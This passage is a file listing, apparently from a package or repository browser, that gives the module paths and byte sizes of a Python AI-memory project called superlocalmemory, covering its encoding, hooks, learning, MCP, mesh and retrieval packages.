bytessrc/superlocalmemory/encoding/entity_mentions.pyruns10,523 bytessrc/superlocalmemory/encoding/entity_name_cache.pyruns4,526 bytessrc/superlocalmemory/encoding/entity_resolver.pyruns29,290 bytessrc/superlocalmemory/encoding/entity_validity.pyruns7,886 bytessrc/superlocalmemory/encoding/entropy_gate.pyruns3,500 bytessrc/superlocalmemory/encoding/fact_extraction_result.pyruns2,273 bytessrc/superlocalmemory/encoding/fact_extractor.pyruns27,885 bytessrc/superlocalmemory/encoding/fact_fields.pyruns1,886 bytessrc/superlocalmemory/encoding/fact_grounding.pyruns3,408 bytessrc/superlocalmemory/encoding/fact_speakers.pyruns1,120 bytessrc/superlocalmemory/encoding/foresight.pyruns3,104 bytessrc/superlocalmemory/encoding/gist_store.pyruns2,839 bytessrc/superlocalmemory/encoding/graph_builder.pyruns15,434 bytessrc/superlocalmemory/encoding/llm_kind_hint.pyruns3,132 bytessrc/superlocalmemory/encoding/local_description_kinds.pyruns6,098 bytessrc/superlocalmemory/encoding/memory_kind_classifier.pyruns14,033 bytessrc/superlocalmemory/encoding/memory_kind_recipe.pyruns5,689 bytessrc/superlocalmemory/encoding/memory_kind_rules.pyruns8,579 bytessrc/superlocalmemory/encoding/non_answer.pyruns6,019 bytessrc/superlocalmemory/encoding/observation_builder.pyruns6,801 bytessrc/superlocalmemory/encoding/prospective_markers.pyruns11,192 bytessrc/superlocalmemory/encoding/relative_support.pyruns890 bytessrc/superlocalmemory/encoding/scene_builder.pyruns17,241 bytessrc/superlocalmemory/encoding/signal_inference.pyruns3,068 bytessrc/superlocalmemory/encoding/source_fidelity.pyruns18,180 bytessrc/superlocalmemory/encoding/source_spans.pyruns973 bytessrc/superlocalmemory/encoding/speaker_spans.pyruns4,694 bytessrc/superlocalmemory/encoding/temporal_parser.pyruns15,778 bytessrc/superlocalmemory/encoding/temporal_validator.pyruns21,253 bytessrc/superlocalmemory/encoding/type_router.pyruns7,990 bytessrc/superlocalmemory/encoding/typed_values.pyruns7,305 bytessrc/superlocalmemory/evaluation/__init__.pyruns690 bytessrc/superlocalmemory/evaluation/answer_quality.pyruns11,838 bytessrc/superlocalmemory/evaluation/calibration.pyruns11,984 bytessrc/superlocalmemory/evaluation/gold_presence.pyruns5,140 bytessrc/superlocalmemory/evolution/__init__.pyruns783 bytessrc/superlocalmemory/evolution/approval.pyruns3,413 bytessrc/superlocalmemory/evolution/backup_files.pyruns2,436 bytessrc/superlocalmemory/evolution/blind_verifier.pyruns4,211 bytessrc/superlocalmemory/evolution/budget.pyruns13,447 bytessrc/superlocalmemory/evolution/candidate_pipeline.pyruns7,514 bytessrc/superlocalmemory/evolution/evolution_store.pyruns26,272 bytessrc/superlocalmemory/evolution/llm_dispatch.pyruns22,524 bytessrc/superlocalmemory/evolution/model_selection.pyruns7,601 bytessrc/superlocalmemory/evolution/mutation_generator.pyruns8,649 bytessrc/superlocalmemory/evolution/skill_activator.pyruns10,781 bytessrc/superlocalmemory/evolution/skill_artifacts.pyruns6,129 bytessrc/superlocalmemory/evolution/skill_evolver.pyruns20,578 bytessrc/superlocalmemory/evolution/triggers.pyruns14,452 bytessrc/superlocalmemory/evolution/types.pyruns4,115 bytessrc/superlocalmemory/evolution/windows_backup_files.pyruns1,671 bytessrc/superlocalmemory/evolution/workspace_artifacts.pyruns1,190 bytessrc/superlocalmemory/graph/__init__.pyruns340 bytessrc/superlocalmemory/graph/cozo_adjacency.pyruns5,036 bytessrc/superlocalmemory/graph/cozo_backend.pyruns36,104 bytessrc/superlocalmemory/hooks/__init__.pyruns187 bytessrc/superlocalmemory/hooks/_outcome_common.pyruns19,543 bytessrc/superlocalmemory/hooks/adapter_base.pyruns13,371 bytessrc/superlocalmemory/hooks/antigravity_adapter.pyruns5,230 bytessrc/superlocalmemory/hooks/auto_capture.pyruns5,014 bytessrc/superlocalmemory/hooks/auto_invoker.pyruns20,061 bytessrc/superlocalmemory/hooks/auto_parameterize.pyruns5,114 bytessrc/superlocalmemory/hooks/auto_recall.pyruns9,683 bytessrc/superlocalmemory/hooks/auto_recall_hook.pyruns10,895 bytessrc/superlocalmemory/hooks/before_web_hook.pyruns4,492 bytessrc/superlocalmemory/hooks/claude_code_hooks.pyruns23,051 bytessrc/superlocalmemory/hooks/codex_assets.pyruns13,276 bytessrc/superlocalmemory/hooks/codex_handlers.pyruns11,189 bytessrc/superlocalmemory/hooks/codex_hooks.pyruns7,439 bytessrc/superlocalmemory/hooks/context_payload.pyruns11,910 bytessrc/superlocalmemory/hooks/copilot_adapter.pyruns7,039 bytessrc/superlocalmemory/hooks/cross_platform_connector.pyruns2,933 bytessrc/superlocalmemory/hooks/cursor_adapter.pyruns5,191 bytessrc/superlocalmemory/hooks/event_delivery.pyruns8,965 bytessrc/superlocalmemory/hooks/event_spool.pyruns12,040 bytessrc/superlocalmemory/hooks/hook_daemon.pyruns14,592 bytessrc/superlocalmemory/hooks/hook_deadline.pyruns11,110 bytessrc/superlocalmemory/hooks/hook_handlers.pyruns29,248 bytessrc/superlocalmemory/hooks/ide_connector.pyruns8,776 bytessrc/superlocalmemory/hooks/memory_protocol.pyruns8,303 bytessrc/superlocalmemory/hooks/payload_keys.pyruns1,910 bytessrc/superlocalmemory/hooks/portable_install.pyruns6,188 bytessrc/superlocalmemory/hooks/portable_kit.pyruns29,533 bytessrc/superlocalmemory/hooks/post_tool_async_hook.pyruns6,621 bytessrc/superlocalmemory/hooks/post_tool_outcome_hook.pyruns6,859 bytessrc/superlocalmemory/hooks/prewarm_auth.pyruns6,383 bytessrc/superlocalmemory/hooks/rules_engine.pyruns6,345 bytessrc/superlocalmemory/hooks/session_registry.pyruns12,333 bytessrc/superlocalmemory/hooks/stop_outcome_hook.pyruns2,968 bytessrc/superlocalmemory/hooks/sync_loop.pyruns3,727 bytessrc/superlocalmemory/hooks/topic_shift_hook.pyruns11,865 bytessrc/superlocalmemory/hooks/user_prompt_hook.pyruns4,271 bytessrc/superlocalmemory/hooks/user_prompt_rehash_hook.pyruns6,512 bytessrc/superlocalmemory/hooks/verify_mcp.pyruns1,535 bytessrc/superlocalmemory/infra/__init__.pyruns187 bytessrc/superlocalmemory/infra/auth_middleware.pyruns5,400 bytessrc/superlocalmemory/infra/backup.pyruns47,787 bytessrc/superlocalmemory/infra/backup_archive.pyruns7,146 bytessrc/superlocalmemory/infra/backup_credentials.pyruns5,176 bytessrc/superlocalmemory/infra/backup_crypto.pyruns10,229 bytessrc/superlocalmemory/infra/backup_keys.pyruns14,717 bytessrc/superlocalmemory/infra/backup_media.pyruns7,770 bytessrc/superlocalmemory/infra/backup_obligations.pyruns24,283 bytessrc/superlocalmemory/infra/cloud_backup.pyruns28,884 bytessrc/superlocalmemory/infra/cloud_backup_crypto.pyruns8,230 bytessrc/superlocalmemory/infra/cloud_backup_github.pyruns2,221 bytessrc/superlocalmemory/infra/daemon_identity.pyruns14,262 bytessrc/superlocalmemory/infra/data_root.pyruns10,997 bytessrc/superlocalmemory/infra/erased_subjects.pyruns14,148 bytessrc/superlocalmemory/infra/event_bus.pyruns27,045 bytessrc/superlocalmemory/infra/instance_lock.pyruns7,382 bytessrc/superlocalmemory/infra/local_diagnostics.pyruns11,770 bytessrc/superlocalmemory/infra/mcp_legacy.pyruns5,969 bytessrc/superlocalmemory/infra/mcp_processes.pyruns7,791 bytessrc/superlocalmemory/infra/mcp_registry_files.pyruns7,342 bytessrc/superlocalmemory/infra/owner_only_acl.pyruns3,960 bytessrc/superlocalmemory/infra/pid_manager.pyruns6,071 bytessrc/superlocalmemory/infra/private_files.pyruns9,875 bytessrc/superlocalmemory/infra/proc_memory.pyruns2,917 bytessrc/superlocalmemory/infra/process_identity.pyruns6,758 bytessrc/superlocalmemory/infra/process_reaper.pyruns22,003 bytessrc/superlocalmemory/infra/rate_limiter.pyruns7,918 bytessrc/superlocalmemory/infra/self_heal.pyruns14,747 bytessrc/superlocalmemory/infra/service_files.pyruns5,881 bytessrc/superlocalmemory/infra/service_mutation.pyruns2,733 bytessrc/superlocalmemory/infra/sqlite_scrub.pyruns1,857 bytessrc/superlocalmemory/infra/version_integrity.pyruns8,683 bytessrc/superlocalmemory/ingestion/__init__.pyruns520 bytessrc/superlocalmemory/ingestion/adapter_config.pyruns1,387 bytessrc/superlocalmemory/ingestion/adapter_manager.pyruns11,911 bytessrc/superlocalmemory/ingestion/base_adapter.pyruns5,764 bytessrc/superlocalmemory/ingestion/calendar_adapter.pyruns13,733 bytessrc/superlocalmemory/ingestion/credentials.pyruns3,771 bytessrc/superlocalmemory/ingestion/gmail_adapter.pyruns14,511 bytessrc/superlocalmemory/ingestion/import_roots.pyruns5,599 bytessrc/superlocalmemory/ingestion/parsers.pyruns3,610 bytessrc/superlocalmemory/ingestion/transcript_adapter.pyruns6,575 bytessrc/superlocalmemory/integrations/__init__.pyruns74 bytessrc/superlocalmemory/integrations/bounded_loops_mcp.pyruns20,402 bytessrc/superlocalmemory/integrations/bounded_loops_v051.pyruns9,892 bytessrc/superlocalmemory/learning/__init__.pyruns0 bytessrc/superlocalmemory/learning/adaptive.pyruns5,833 bytessrc/superlocalmemory/learning/arm_catalog.pyruns6,997 bytessrc/superlocalmemory/learning/assertion_miner.pyruns16,533 bytessrc/superlocalmemory/learning/bandit.pyruns27,402 bytessrc/superlocalmemory/learning/bandit_cache.pyruns4,360 bytessrc/superlocalmemory/learning/bandit_draw.pyruns3,583 bytessrc/superlocalmemory/learning/behavioral.pyruns19,891 bytessrc/superlocalmemory/learning/bootstrap.pyruns11,207 bytessrc/superlocalmemory/learning/consolidation_cycle.pyruns14,200 bytessrc/superlocalmemory/learning/consolidation_quantization_worker.pyruns3,301 bytessrc/superlocalmemory/learning/consolidation_worker.pyruns10,378 bytessrc/superlocalmemory/learning/cross_project.pyruns14,630 bytessrc/superlocalmemory/learning/database.pyruns28,131 bytessrc/superlocalmemory/learning/dedup_hnsw.pyruns16,565 bytessrc/superlocalmemory/learning/engagement.pyruns18,172 bytessrc/superlocalmemory/learning/engagement_features.pyruns10,764 bytessrc/superlocalmemory/learning/ensemble.pyruns10,876 bytessrc/superlocalmemory/learning/entity_compiler.pyruns17,036 bytessrc/superlocalmemory/learning/fact_outcome_joins.pyruns6,763 bytessrc/superlocalmemory/learning/features.pyruns4,936 bytessrc/superlocalmemory/learning/feedback.pyruns28,560 bytessrc/superlocalmemory/learning/forgetting_metadata.pyruns5,075 bytessrc/superlocalmemory/learning/forgetting_scheduler.pyruns11,551 bytessrc/superlocalmemory/learning/hnsw_dedup.pyruns2,115 bytessrc/superlocalmemory/learning/labeler.pyruns2,293 bytessrc/superlocalmemory/learning/learning_state.pyruns5,325 bytessrc/superlocalmemory/learning/legacy_migration.pyruns12,262 bytessrc/superlocalmemory/learning/lifecycle_policy.pyruns3,420 bytessrc/superlocalmemory/learning/lightgbm_subprocess.pyruns8,837 bytessrc/superlocalmemory/learning/memory_merge.pyruns6,253 bytessrc/superlocalmemory/learning/model_cache.pyruns8,368 bytessrc/superlocalmemory/learning/model_rollback.pyruns12,832 bytessrc/superlocalmemory/learning/outcome_events.pyruns15,293 bytessrc/superlocalmemory/learning/outcome_queue.pyruns13,085 bytessrc/superlocalmemory/learning/outcomes.pyruns10,217 bytessrc/superlocalmemory/learning/pattern_miner.pyruns17,587 bytessrc/superlocalmemory/learning/pattern_miner_constants.pyruns4,108 bytessrc/superlocalmemory/learning/pcos.pyruns13,198 bytessrc/superlocalmemory/learning/project_context.pyruns10,854 bytessrc/superlocalmemory/learning/propensity.pyruns5,017 bytessrc/superlocalmemory/learning/ranker.pyruns10,884 bytessrc/superlocalmemory/learning/ranker_common.pyruns7,697 bytessrc/superlocalmemory/learning/ranker_retrain_legacy.pyruns7,219 bytessrc/superlocalmemory/learning/ranker_retrain_online.pyruns15,671 bytessrc/superlocalmemory/learning/retrain_trigger.pyruns4,625 bytessrc/superlocalmemory/learning/reward.pyruns40,174 bytessrc/superlocalmemory/learning/reward_archive.pyruns8,996 bytessrc/superlocalmemory/learning/reward_boost.pyruns7,856 bytessrc/superlocalmemory/learning/reward_from_outcomes.pyruns16,468 bytessrc/superlocalmemory/learning/reward_model.pyruns4,998 bytessrc/superlocalmemory/learning/reward_proxy.pyruns20,952 bytessrc/superlocalmemory/learning/shadow_serving.pyruns4,266 bytessrc/superlocalmemory/learning/shadow_test.pyruns12,538 bytessrc/superlocalmemory/learning/signal_kinds.pyruns3,835 bytessrc/superlocalmemory/learning/signal_worker.pyruns9,160 bytessrc/superlocalmemory/learning/signals.pyruns25,290 bytessrc/superlocalmemory/learning/skill_health.pyruns2,036 bytessrc/superlocalmemory/learning/skill_metrics.pyruns1,805 bytessrc/superlocalmemory/learning/skill_performance_miner.pyruns14,685 bytessrc/superlocalmemory/learning/source_quality.pyruns29,656 bytessrc/superlocalmemory/learning/training_rows.pyruns6,463 bytessrc/superlocalmemory/learning/trigram_index.pyruns23,227 bytessrc/superlocalmemory/learning/workflows.pyruns10,169 bytessrc/superlocalmemory/llm/__init__.pyruns0 bytessrc/superlocalmemory/llm/backbone.pyruns21,961 bytessrc/superlocalmemory/llm/ollama_reachability.pyruns3,048 bytessrc/superlocalmemory/loops/__init__.pyruns1,282 bytessrc/superlocalmemory/loops/artifact_revision.pyruns4,090 bytessrc/superlocalmemory/loops/budget.pyruns2,243 bytessrc/superlocalmemory/loops/check_definition.pyruns4,552 bytessrc/superlocalmemory/loops/check_lock.pyruns862 bytessrc/superlocalmemory/loops/check_output.pyruns1,370 bytessrc/superlocalmemory/loops/check_process.pyruns3,873 bytessrc/superlocalmemory/loops/engine.pyruns6,398 bytessrc/superlocalmemory/loops/execution_guard.pyruns3,526 bytessrc/superlocalmemory/loops/execution_receipts.pyruns5,866 bytessrc/superlocalmemory/loops/ledger.pyruns12,492 bytessrc/superlocalmemory/loops/models.pyruns5,684 bytessrc/superlocalmemory/loops/private_workspace.pyruns3,509 bytessrc/superlocalmemory/loops/process_sweep.pyruns3,839 bytessrc/superlocalmemory/loops/pytest_config.pyruns4,273 bytessrc/superlocalmemory/loops/receipt_gate.pyruns4,210 bytessrc/superlocalmemory/loops/receipt_jobs.pyruns7,921 bytessrc/superlocalmemory/loops/rules.pyruns1,896 bytessrc/superlocalmemory/loops/stop_reasons.pyruns731 bytessrc/superlocalmemory/math/__init__.pyruns0 bytessrc/superlocalmemory/math/contradiction_evidence.pyruns1,487 bytessrc/superlocalmemory/math/ebbinghaus.pyruns15,724 bytessrc/superlocalmemory/math/fisher.pyruns13,100 bytessrc/superlocalmemory/math/fisher_quantized.pyruns9,303 bytessrc/superlocalmemory/math/hopfield.pyruns9,260 bytessrc/superlocalmemory/math/langevin.pyruns16,323 bytessrc/superlocalmemory/math/orthogonal.pyruns2,741 bytessrc/superlocalmemory/math/polar_quant.pyruns14,288 bytessrc/superlocalmemory/math/qjl.pyruns5,094 bytessrc/superlocalmemory/math/sheaf.pyruns8,188 bytessrc/superlocalmemory/math/turbo_quant.pyruns14,867 bytessrc/superlocalmemory/mcp/__init__.pyruns0 bytessrc/superlocalmemory/mcp/_daemon_proxy.pyruns17,862 bytessrc/superlocalmemory/mcp/_pool_adapter.pyruns9,632 bytessrc/superlocalmemory/mcp/_recall_metadata.pyruns4,181 bytessrc/superlocalmemory/mcp/_remember_kind.pyruns4,100 bytessrc/superlocalmemory/mcp/_stdin_guard.pyruns2,821 bytessrc/superlocalmemory/mcp/agent_context.pyruns7,291 bytessrc/superlocalmemory/mcp/cli_fallback.pyruns18,851 bytessrc/superlocalmemory/mcp/compression_service.pyruns3,580 bytessrc/superlocalmemory/mcp/http_transport.pyruns9,957 bytessrc/superlocalmemory/mcp/local_lifecycle.pyruns2,437 bytessrc/superlocalmemory/mcp/loop_runner.pyruns7,412 bytessrc/superlocalmemory/mcp/profile_names.pyruns3,993 bytessrc/superlocalmemory/mcp/profiles.pyruns8,904 bytessrc/superlocalmemory/mcp/remote_caller.pyruns5,772 bytessrc/superlocalmemory/mcp/remote_visibility.pyruns2,776 bytessrc/superlocalmemory/mcp/request_deadline.pyruns2,847 bytessrc/superlocalmemory/mcp/request_profile.pyruns3,143 bytessrc/superlocalmemory/mcp/resources.pyruns11,912 bytessrc/superlocalmemory/mcp/server.pyruns26,197 bytessrc/superlocalmemory/mcp/session_binding.pyruns4,476 bytessrc/superlocalmemory/mcp/session_schedule.pyruns2,290 bytessrc/superlocalmemory/mcp/session_start.pyruns10,272 bytessrc/superlocalmemory/mcp/shared.pyruns5,338 bytessrc/superlocalmemory/mcp/tool_gate.pyruns5,322 bytessrc/superlocalmemory/mcp/tool_hints.pyruns2,417 bytessrc/superlocalmemory/mcp/tools.pyruns781 bytessrc/superlocalmemory/mcp/tools_active.pyruns29,608 bytessrc/superlocalmemory/mcp/tools_brain.pyruns14,876 bytessrc/superlocalmemory/mcp/tools_code_graph.pyruns64,117 bytessrc/superlocalmemory/mcp/tools_context.pyruns8,885 bytessrc/superlocalmemory/mcp/tools_core.pyruns90,515 bytessrc/superlocalmemory/mcp/tools_evolution.pyruns11,367 bytessrc/superlocalmemory/mcp/tools_expand.pyruns3,530 bytessrc/superlocalmemory/mcp/tools_kinds.pyruns10,613 bytessrc/superlocalmemory/mcp/tools_learning.pyruns16,973 bytessrc/superlocalmemory/mcp/tools_loops.pyruns9,879 bytessrc/superlocalmemory/mcp/tools_media.pyruns20,917 bytessrc/superlocalmemory/mcp/tools_media_upload.pyruns5,354 bytessrc/superlocalmemory/mcp/tools_mesh.pyruns26,033 bytessrc/superlocalmemory/mcp/tools_mesh_remote.pyruns5,880 bytessrc/superlocalmemory/mcp/tools_ops.pyruns6,922 bytessrc/superlocalmemory/mcp/tools_optimize.pyruns13,158 bytessrc/superlocalmemory/mcp/tools_summaries.pyruns12,383 bytessrc/superlocalmemory/mcp/tools_v28.pyruns14,378 bytessrc/superlocalmemory/mcp/tools_v3.pyruns22,947 bytessrc/superlocalmemory/mcp/tools_v33.pyruns22,770 bytessrc/superlocalmemory/mcp/tools_views.pyruns7,805 bytessrc/superlocalmemory/media/__init__.pyruns1,627 bytessrc/superlocalmemory/media/erasure.pyruns11,545 bytessrc/superlocalmemory/media/erasure_documents.pyruns5,299 bytessrc/superlocalmemory/media/files.pyruns6,360 bytessrc/superlocalmemory/media/gc.pyruns7,457 bytessrc/superlocalmemory/media/generation.pyruns620 bytessrc/superlocalmemory/media/ingest.pyruns21,549 bytessrc/superlocalmemory/media/labels.pyruns928 bytessrc/superlocalmemory/media/readiness.pyruns1,739 bytessrc/superlocalmemory/media/repair.pyruns8,218 bytessrc/superlocalmemory/media/revet.pyruns6,660 bytessrc/superlocalmemory/media/schema.pyruns9,795 bytessrc/superlocalmemory/media/store.pyruns25,453 bytessrc/superlocalmemory/media/store_doc_erase.pyruns7,032 bytessrc/superlocalmemory/media/store_documents.pyruns7,832 bytessrc/superlocalmemory/media/store_erase.pyruns7,099 bytessrc/superlocalmemory/media/store_jobs.pyruns5,945 bytessrc/superlocalmemory/media/store_revet.pyruns1,942 bytessrc/superlocalmemory/media/upload_links.pyruns29,192 bytessrc/superlocalmemory/memory_core/__init__.pyruns843 bytessrc/superlocalmemory/memory_core/duplicates.pyruns2,011 bytessrc/superlocalmemory/memory_core/save_path.pyruns6,784 bytessrc/superlocalmemory/memory_core/save_scope.pyruns1,081 bytessrc/superlocalmemory/memory_core/submit.pyruns7,213 bytessrc/superlocalmemory/mesh/__init__.pyruns552 bytessrc/superlocalmemory/mesh/broker.pyruns35,793 bytessrc/superlocalmemory/mesh/broker_cleanup.pyruns4,319 bytessrc/superlocalmemory/mesh/broker_inbox.pyruns11,288 bytessrc/superlocalmemory/mesh/broker_owner.pyruns4,558 bytessrc/superlocalmemory/mesh/broker_profiles.pyruns12,202 bytessrc/superlocalmemory/mesh/broker_security.pyruns19,607 bytessrc/superlocalmemory/mesh/broker_web.pyruns12,225 bytessrc/superlocalmemory/mesh/broker_web_lease.pyruns4,811 bytessrc/superlocalmemory/mesh/discovery.pyruns14,955 bytessrc/superlocalmemory/mesh/envelope.pyruns4,029 bytessrc/superlocalmemory/mesh/lock_protocol.pyruns12,906 bytessrc/superlocalmemory/mesh/mesh_erasure.pyruns2,609 bytessrc/superlocalmemory/mesh/mesh_store.pyruns23,201 bytessrc/superlocalmemory/mesh/node_identity.pyruns3,481 bytessrc/superlocalmemory/mesh/outbox_remote.pyruns16,536 bytessrc/superlocalmemory/mesh/remote_sync.pyruns35,539 bytessrc/superlocalmemory/mesh/state_sync.pyruns11,755 bytessrc/superlocalmemory/migrations/__init__.pyruns222 bytessrc/superlocalmemory/migrations/v3_4_25_to_v3_4_26.pyruns4,705 bytessrc/superlocalmemory/optimize/NOTICEasset189 bytessrc/superlocalmemory/optimize/__init__.pyruns0 bytessrc/superlocalmemory/optimize/adapters/__init__.pyruns2,748 bytessrc/superlocalmemory/optimize/adapters/_agent_registry.pyruns3,770 bytessrc/superlocalmemory/optimize/adapters/anthropic_adapter.pyruns4,615 bytessrc/superlocalmemory/optimize/adapters/openai_adapter.pyruns4,927 bytessrc/superlocalmemory/optimize/adapters/request_identity.pyruns1,079 bytessrc/superlocalmemory/optimize/adapters/response_codec.pyruns1,530 bytessrc/superlocalmemory/optimize/adapters/wrap.pyruns8,607 bytessrc/superlocalmemory/optimize/cache/__init__.pyruns817 bytessrc/superlocalmemory/optimize/cache/boundary_store.pyruns23,154 bytessrc/superlocalmemory/optimize/cache/centroid_store.pyruns8,340 bytessrc/superlocalmemory/optimize/cache/context_key.pyruns2,594 bytessrc/superlocalmemory/optimize/cache/exact.pyruns2,842 bytessrc/superlocalmemory/optimize/cache/invalidation.pyruns1,108 bytessrc/superlocalmemory/optimize/cache/key_builder.pyruns3,558 bytessrc/superlocalmemory/optimize/cache/manager.pyruns27,205 bytessrc/superlocalmemory/optimize/cache/semantic.pyruns22,786 bytessrc/superlocalmemory/optimize/cache/semantic_embedder.pyruns2,787 bytessrc/superlocalmemory/optimize/cache/semantic_space.pyruns2,807 bytessrc/superlocalmemory/optimize/cache/stampede.pyruns1,579 bytessrc/superlocalmemory/optimize/compress/__init__.pyruns721 bytessrc/superlocalmemory/optimize/compress/align.pyruns4,831 bytessrc/superlocalmemory/optimize/compress/ccr.pyruns4,278 bytessrc/superlocalmemory/optimize/compress/prose_llmlingua.pyruns2,616 bytessrc/superlocalmemory/optimize/compress/router.pyruns29,088 bytessrc/superlocalmemory/optimize/config/__init__.pyruns1,811 bytessrc/superlocalmemory/optimize/config/defaults.pyruns1,257 bytessrc/superlocalmemory/optimize/config/schema.pyruns13,863 bytessrc/superlocalmemory/optimize/config/store.pyruns10,507 bytessrc/superlocalmemory/optimize/metrics/__init__.pyruns384 bytessrc/superlocalmemory/optimize/metrics/counters.pyruns6,317 bytessrc/superlocalmemory/optimize/metrics/estimator.pyruns3,492 bytessrc/superlocalmemory/optimize/metrics/exporters.pyruns2,840 bytessrc/superlocalmemory/optimize/metrics/mcp_compression.pyruns1,116 bytessrc/superlocalmemory/optimize/metrics/persistence.pyruns4,620 bytessrc/superlocalmemory/optimize/proxy/__init__.pyruns601 bytessrc/superlocalmemory/optimize/proxy/_helpers.pyruns27,824 bytessrc/superlocalmemory/optimize/proxy/access.pyruns1,232 bytessrc/superlocalmemory/optimize/proxy/anthropic_surface.pyruns15,435 bytessrc/superlocalmemory/optimize/proxy/capture.pyruns20,022 bytessrc/superlocalmemory/optimize/proxy/gemini_surface.pyruns21,153 bytessrc/superlocalmemory/optimize/proxy/lifecycle.pyruns3,874 bytessrc/superlocalmemory/optimize/proxy/openai_surface.pyruns18,930 bytessrc/superlocalmemory/optimize/proxy/server.pyruns7,813 bytessrc/superlocalmemory/optimize/proxy/vertex_surface.pyruns9,443 bytessrc/superlocalmemory/optimize/storage/__init__.pyruns0 bytessrc/superlocalmemory/optimize/storage/db.pyruns48,969 bytessrc/superlocalmemory/optimize/storage/erasure.pyruns6,113 bytessrc/superlocalmemory/optimize/storage/provenance.pyruns1,344 bytessrc/superlocalmemory/optimize/storage/schema.pyruns9,501 bytessrc/superlocalmemory/parameterization/__init__.pyruns1,666 bytessrc/superlocalmemory/parameterization/cross_project.pyruns478 bytessrc/superlocalmemory/parameterization/pattern_extractor.pyruns24,656 bytessrc/superlocalmemory/parameterization/pii_filter.pyruns3,212 bytessrc/superlocalmemory/parameterization/prompt_injector.pyruns7,772 bytessrc/superlocalmemory/parameterization/prompt_lifecycle.pyruns8,794 bytessrc/superlocalmemory/parameterization/soft_prompt_generator.pyruns19,537 bytessrc/superlocalmemory/parameterization/workflow_miner.pyruns646 bytessrc/superlocalmemory/reliability/__init__.pyruns1,635 bytessrc/superlocalmemory/reliability/join_liveness.pyruns11,916 bytessrc/superlocalmemory/reliability/prior_distance.pyruns9,234 bytessrc/superlocalmemory/remote_connections/__init__.pyruns80 bytessrc/superlocalmemory/remote_connections/async_state.pyruns1,065 bytessrc/superlocalmemory/remote_connections/codec.pyruns4,540 bytessrc/superlocalmemory/remote_connections/companion.pyruns9,231 bytessrc/superlocalmemory/remote_connections/credentials.pyruns10,538 bytessrc/superlocalmemory/remote_connections/gateway_provider.pyruns16,431 bytessrc/superlocalmemory/remote_connections/grant.pyruns7,325 bytessrc/superlocalmemory/remote_connections/grant_keys.pyruns6,069 bytessrc/superlocalmemory/remote_connections/journal.pyruns12,494 bytessrc/superlocalmemory/remote_connections/native_enrollment.pyruns8,700 bytessrc/superlocalmemory/remote_connections/origin.pyruns7,414 bytessrc/superlocalmemory/remote_connections/peer_names.pyruns921 bytessrc/superlocalmemory/remote_connections/peer_sync.pyruns2,980 bytessrc/superlocalmemory/remote_connections/private_state.pyruns2,077 bytessrc/superlocalmemory/remote_connections/proof.pyruns3,634 bytessrc/superlocalmemory/remote_connections/renewal.pyruns1,702 bytessrc/superlocalmemory/remote_connections/runtime.pyruns40,307 bytessrc/superlocalmemory/remote_connections/service.pyruns5,337 bytessrc/superlocalmemory/remote_connections/session.pyruns8,258 bytessrc/superlocalmemory/remote_connections/upload_relay.pyruns12,233 bytessrc/superlocalmemory/retrieval/__init__.pyruns0 bytessrc/superlocalmemory/retrieval/_worker_process.pyruns3,810 bytessrc/superlocalmemory/retrieval/adjacency_load.pyruns13,303 bytessrc/superlocalmemory/retrieval/adjacency_rcu.pyruns6,101 bytessrc/superlocalmemory/retrieval/adjacency_slot.pyruns4,383 bytessrc/superlocalmemory/retrieval/agentic.pyruns14,802 bytessrc/superlocalmemory/retrieval/ann_index.pyruns7,782 bytessrc/superlocalmemory/retrieval/answer_check_status.pyruns12,179 bytessrc/superlocalmemory/retrieval/answer_question_forms.pyruns9,953 bytessrc/superlocalmemory/retrieval/answerability.pyruns7,665 bytessrc/superlocalmemory/retrieval/bm25_channel.pyruns23,747 bytessrc/superlocalmemory/retrieval/bridge_discovery.pyruns10,552 bytessrc/superlocalmemory/retrieval/calibration_metrics.pyruns2,308 bytessrc/superlocalmemory/retrieval/canonical_vector_index.pyruns12,854 bytessrc/superlocalmemory/retrieval/change_tracked.pyruns3,904 bytessrc/superlocalmemory/retrieval/channel_registry.pyruns5,529 bytessrc/superlocalmemory/retrieval/channel_status.pyruns5,171 bytessrc/superlocalmemory/retrieval/community_context.pyruns4,921 bytessrc/superlocalmemory/retrieval/embedding_calibration.pyruns2,521 bytessrc/superlocalmemory/retrieval/engine.pyruns93,572 bytessrc/superlocalmemory/retrieval/entity_channel.pyruns30,133 bytessrc/superlocalmemory/retrieval/entity_graph_warmup.pyruns4,839 bytessrc/superlocalmemory/retrieval/evidence_attach.pyruns5,664 bytessrc/superlocalmemory/retrieval/evidence_features.pyruns17,063 bytessrc/superlocalmemory/retrieval/exact_lexical.pyruns1,597 bytessrc/superlocalmemory/retrieval/explicit_answer.pyruns2,879 bytessrc/superlocalmemory/retrieval/explicit_slots.pyruns3,040 bytessrc/superlocalmemory/retrieval/facets.pyruns16,266 bytessrc/superlocalmemory/retrieval/fact_cover.pyruns800 bytessrc/superlocalmemory/retrieval/fallback_fidelity.pyruns3,544 bytessrc/superlocalmemory/retrieval/forgetting_filter.pyruns5,110 bytessrc/superlocalmemory/retrieval/fusion.pyruns2,748 bytessrc/superlocalmemory/retrieval/graph_adjacency.pyruns8,703 bytessrc/superlocalmemory/retrieval/graph_catchup.pyruns21,321 bytessrc/superlocalmemory/retrieval/graph_delta.pyruns9,236 bytessrc/superlocalmemory/retrieval/hopfield_channel.pyruns17,888 bytessrc/superlocalmemory/retrieval/hosted_redaction.pyruns3,146 bytessrc/superlocalmemory/retrieval/hub_baseline.pyruns17,914 bytessrc/superlocalmemory/retrieval/jev_judge.pyruns26,669 bytessrc/superlocalmemory/retrieval/jev_kinds.pyruns4,775 bytessrc/superlocalmemory/retrieval/jev_rerank.pyruns13,130 bytessrc/superlocalmemory/retrieval/jev_transport.pyruns8,256 bytessrc/superlocalmemory/retrieval/judge_calibration_file.pyruns5,494 bytessrc/superlocalmemory/retrieval/judge_recipe.pyruns6,370 bytessrc/superlocalmemory/retrieval/kind_aware.pyruns14,744 bytessrc/superlocalmemory/retrieval/kind_filter.pyruns2,983 bytessrc/superlocalmemory/retrieval/kind_scope.pyruns11,996 bytessrc/superlocalmemory/retrieval/laya_background.pyruns1,798 bytessrc/superlocalmemory/retrieval/laya_kinds.pyruns4,830 bytessrc/superlocalmemory/retrieval/laya_set_recipe.pyruns4,097 bytessrc/superlocalmemory/retrieval/laya_transport.pyruns5,061 bytessrc/superlocalmemory/retrieval/media_channel.pyruns17,434 bytessrc/superlocalmemory/retrieval/media_rerank.pyruns4,226 bytessrc/superlocalmemory/retrieval/media_scope.pyruns1,403 bytessrc/superlocalmemory/retrieval/profile_channel.pyruns3,493 bytessrc/superlocalmemory/retrieval/project_scope.pyruns15,610 